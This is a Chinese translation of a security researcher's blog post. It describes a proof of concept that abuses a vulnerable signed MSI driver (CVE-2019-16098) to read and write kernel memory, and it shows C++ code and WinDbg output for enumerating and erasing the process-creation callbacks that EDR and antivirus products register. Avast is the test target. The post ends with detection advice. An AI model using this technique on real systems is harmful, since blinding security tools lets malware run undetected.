https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/
原創 大藍 RJ45實驗室?
使用簽名驅動移除內核回調-安全KER - 安全資訊平臺
介紹
創建該PoC的目的是了解驅動漏洞利用程序的強大功能,以及EDR如何使用內核回調以防止惡意軟件的攻擊。
在代碼中會用到一個Barakat發現并公開了的驅動程序漏洞,并將其分配為CVE-2019-16098。它是一個經過簽名的MSI驅動程序,可以讀取和寫入完整的內核內存,事實證明這對攻擊者極為有用,并且可以對整個系統造成危害。PoC可以以低特權用戶身份獲取SYSTEM CMD的功能。
而引起我對CVE-2019-16098的注意,也是因為這篇博文,該博文使用了該漏洞從LSASS進程中刪除了PPL( Protected Process Light)保護。
除了上述文章外介紹的刪除PPL外,我們還需要枚舉系統回調。這里還有一篇SpectreOps Matt Hands的文章深入探討了Mimikatz的驅動程序Mimidrv。通過這篇文章,可以對枚舉回調有了更深的理解。
我還可以推薦克里斯托弗·韋拉(Christopher Vella)在CrikeyCon視頻(需要翻墻)的“反向和旁路EDR”,它很好地說明了回調例程,并提供了有關EDR內部工作方式的概述。
驅動和內核內存
大多數閱讀這篇文章的人可能已經知道,Windows中的內存空間主要分為Userland內存和Kernel內存。當用戶創建一個進程時,內核將管理該進程的虛擬內存空間,從而使其只能訪問自己的虛擬地址空間,該地址僅對該進程可用。使用內核內存,情況有所不同。系統上的每個驅動程序都沒有相互隔離的地址空間-它們是共享內存的。MSDN這樣說:
所有在內核模式下運行的代碼共享一個虛擬地址空間。這意味著內核模式驅動程序不會與其他驅動程序以及操作系統本身隔離。如果內核模式驅動程序意外地寫入了錯誤的虛擬地址,則可能會破壞屬于操作系統或其他驅動程序的數據。如果內核模式驅動程序崩潰,則整個操作系統崩潰。
當然,這會給這些驅動程序的開發人員以及防止加載任何驅動程序的操作系統造成很大的負擔。因此,Microsoft對可以在系統上加載哪些驅動程序進行了嚴格限制。首先,加載驅動程序的用戶需要具有權限-SELoadDriverPrivilege。默認情況下,這僅授予管理員,這是有充分理由的。就像SeDebugPrivilege一樣,不應輕易授予此特權。這里有一篇Tarlogic的文章介紹了如何通過這些權限以在系統上獲得更高的權限。
其次,Microsoft從版本1607開始,所有Windows 10版本的驅動程序會被要求簽名。這意味著任何啟用了安全啟動的最新工作站或服務器都不會加載未簽名或簽名無效的驅動程序。問題解決了吧?
不幸的是,軟件是由人編寫的,并且人會犯錯誤。簽名驅動程序也是如此。即使要求在加載驅動程序之前對其進行簽名,攻擊者也可以找到一個已簽名的驅動程序,且該驅動存在允許任意讀取/寫入內核內存漏洞。Micro-Star MSI Afterburner 4.6.2.15658驅動程序恰恰具有這些漏洞。
還有許多其他已簽名的驅動程序可供使用,一些游戲黑客論壇收集了這些驅動程序和存在的漏洞的列表。由于目前尚無停止有效簽名驅動的方法,因此在相當長的一段時間內,加載并且利用這些存在漏洞的簽名驅動程序似乎是一種有效的技術。
回調例程
當Microsoft在2005年推出Kernel Patch Protection(稱為PatchGuard)時,它嚴重限制了第三方Antivirus供應商使用Kernel Hook來檢測和防止系統上的惡意軟件的選擇。從那時起,這些供應商不得不更多地依賴于內核回調函數系統來通知事件。有很多已記錄和未記錄的回調函數。我們最感興趣的函數是:
-
PsSetLoadImageNotifyRoutine
-
PsSetCreateThreadNotifyRoutine
-
PsSetCreateProcessNotifyRoutine
-
CmRegisterCallbackEx
-
ObRegisterCallbacks
除了用于注冊表回調的CmRegisterCallbackEx和用于對象創建回調的ObRegisterCallbacks之外,其他都是可以通過函數名字理解函數的功能。
在本文中,我將重點介紹進程創建回調例程-PsSetCreateProcessNotifyRoutine。
找到進程回調函數
簡而言之,驅動程序可以注冊一個在系統上每次創建新進程時都會調用的回調函數。這些函數被注冊并存儲在稱為PspCreateProcessNotifyRoutine的數組中,該數組最多包含64個回調函數。Matt Hand使用Windbg逐步說明了如何根據Mimidrv源代碼為每個已注冊的回調函數查看此數組以及如何確定每個回調函數將其解析為哪個驅動程序。
概括來說,這些步驟是:
1.利用字節匹配的方式在PsSetCreateProcessNotifyRoutine和IoCreateDriver的地址之間搜索
2.這些字節在未文檔化的PspSetCreateProcessNotifyRoutine的函數開頭(請注意名稱中的額外“ p”)。
3.在此未文檔化的函數中,我們看到對目標數組的引用:PspCreateProcessNotifyRoutine。
在Windbg中,它看起來像這樣:
lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408 mov qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410 mov qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418 mov qword ptr [rsp+18h],rsi
fffff802`235537df 57 push rdi
fffff802`235537e0 4154 push r12
fffff802`235537e2 4155 push r13
fffff802`235537e4 4156 push r14
fffff802`235537e6 4157 push r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20 sub rsp,20h
fffff802`235537ec 8bf2 mov esi,edx
fffff802`235537ee 8bda mov ebx,edx
fffff802`235537f0 83e602 and esi,2
fffff802`235537f3 4c8bf1 mov r14,rcx
fffff802`235537f6 f6c201 test dl,1
fffff802`235537f9 0f85e7f80b00 jne nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6 test esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000 je nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000 mov edx,20h
fffff802`2355380c e8df52a3ff call nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0 test eax,eax
fffff802`23553813 0f8490f90b00 je nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3 mov rdx,rbx
fffff802`2355381c 498bce mov rcx,r14
fffff802`2355381f e8a4000000 call nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8 mov rdi,rax
fffff802`23553827 4885c0 test rax,rax
fffff802`2355382a 0f8483f90b00 je nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db xor ebx,ebx
fffff802`23553832 4c8d2d6726dbff lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea rcx,[rbx*8]
fffff802`23553841 4533c0 xor r8d,r8d
fffff802`23553844 4903cd add rcx,r13
我遇到了一些奇怪的技術問題,這些問題很可能是由于我通常在編碼方面的能力不足,所以我采取了更快捷的方法:我在Windows 10版本1909上計算了導出函數PsSetCreateProcessNotifyRoutine的偏移量,并且在兩臺機器上測試還是比較穩定的。但因為Windows不同版本之間的偏移似乎有所變化,我將把系統1909到2004其版本間進行更新,直到可以使按照字節來進行匹配,直到正確為止。
找到進程創建回調例程指針的數組后,它們所指向的內存地址可以按以下方式計算,如Matt所述:
1.刪除指針地址的最后4位
2.跳過結構的前8個字節
結果地址是每當創建進程時將調用的地址。使用該地址,我們可以準確地計算出該部分內存中加載了哪個驅動程序,并查看在我們的進程創建中和哪個驅動程序關聯。
如果要枚舉并刪除現有的回調,則需要在程序中復制這些步驟。我將假定易受攻擊的驅動程序已經加載,并且我們具有可靠的內存讀取和寫入功能。
我們首先使用EnumDeviceDrivers()來檢索內核基地址。可以用Medium完整性進程用于檢索內核基址,因為這通常是要返回的第一個地址。盡管不是100%可靠,但是到目前為止我還沒有遇到任何問題。
DWORD64 Findkrnlbase() {DWORD cbNeeded = 0;LPVOID drivers[1024];if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {return (DWORD64)drivers[0];}return NULL;
了解了內核基礎之后,我們現在可以使用LoadLibrary()加載ntoskrnl.exe并使用GetProcAddress()查找某些導出函數的地址。我們將從已加載的內核庫(ntoskrnl.exe)計算這些函數的偏移量,并根據內存中的當前當前內核基址來計算這些函數在內存中的當前內存地址。這個想法和代碼基于RedCursor的PPLKiller代碼:
const auto NtoskrnlBaseAddress = Findkrnlbase();HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;
現在讓我們計算PspCreateProcessNotifyRoutine的回調數組的在Windows 1909系統上的偏移量。
lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0 ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0 ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0 ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0 ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0 ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0 ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00 00000000`00000000 00000000`00000000
fffff802`23305f10 00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0 d233c28a`28ec8348
在此版本的Windows中,回調數組似乎位于PsSetCreateProcessNotifyRoutine + 0x24D810中。
現在,讓我們使用MSI驅動程序和該驅動程序利用程序的作者提供的內存讀取功能,來檢索和列出這些回調例程。我們還添加了功能以指定要刪除的回調函數:
const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));if (callback != NULL) {//only print actual callbackscallback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);FindDriver(cbFunction);if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);}}}
FindDriver函數需要做更多的工作,并且可能是整個代碼庫中最差的代碼,但是它可以工作……我們基本上再次使用EnumDeviceDrivers,遍歷驅動程序地址,存儲比回調函數地址低的地址,然后找到最小的地址,再找到區別最小的那段。是的,我知道…我不會在這里列出來,如果您想了解更多,可以隨時在代碼庫中查看它。
太好了-現在我們已經實現了以下目標:
1.我們在內存中找到數組
2.我們可以列出將被通知的函數地址
3.我們可以確切地看到這些功能存在于哪些驅動程序中
4.我們可以刪除特定的回調
是時候測試一下了!
現在,我知道Avast并不是真正的EDR,但是它使用內核驅動程序并注冊進程通知回調,因此非常適合我們的演示。
在此設置中,我使用的是Win1909 x64(操作系統內部版本18363.959)。使用Windbg,我的內核回調如下所示:
lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0 ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0 ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0 ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0 ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0 ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0 ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00 00000000`00000000 00000000`00000000
fffff800`1dd13f10 00000000`00000000 00000000`00000000
谷歌搜索向我們顯示aswArPot.sys,aswSP.sys和aswbuniv.sys是Avast驅動程序,因此我們現在至少知道對于進程通知,這些驅動程序可能阻止了我們的惡意程序。
監測和防御
就檢測和預防而言,我認為藍隊會容易一些,但對于EDR來說可能并非如此。對于EDR供應商而言,難以跟蹤到每一個受到攻擊的簽名驅動進行拉黑,并且無法解決0day漏洞的攻擊。但盡管如此也應該采取一些防護措施來應對這一類攻擊。
對于藍隊,監視服務創建和PspCreateProcessNotifyRoutine:特權的使用將會給你更多防范此類攻擊的手段。其他一些建議是,不應該經常安裝新的驅動,最好僅更新和維護,以及通過特權帳戶安裝驅動程序。從管理帳戶進一步限制此特權也可能是一條值得探索的途徑,該特權保留給專用的軟件/硬件維護帳戶,該帳戶在不使用時會受到嚴格監控并被禁用。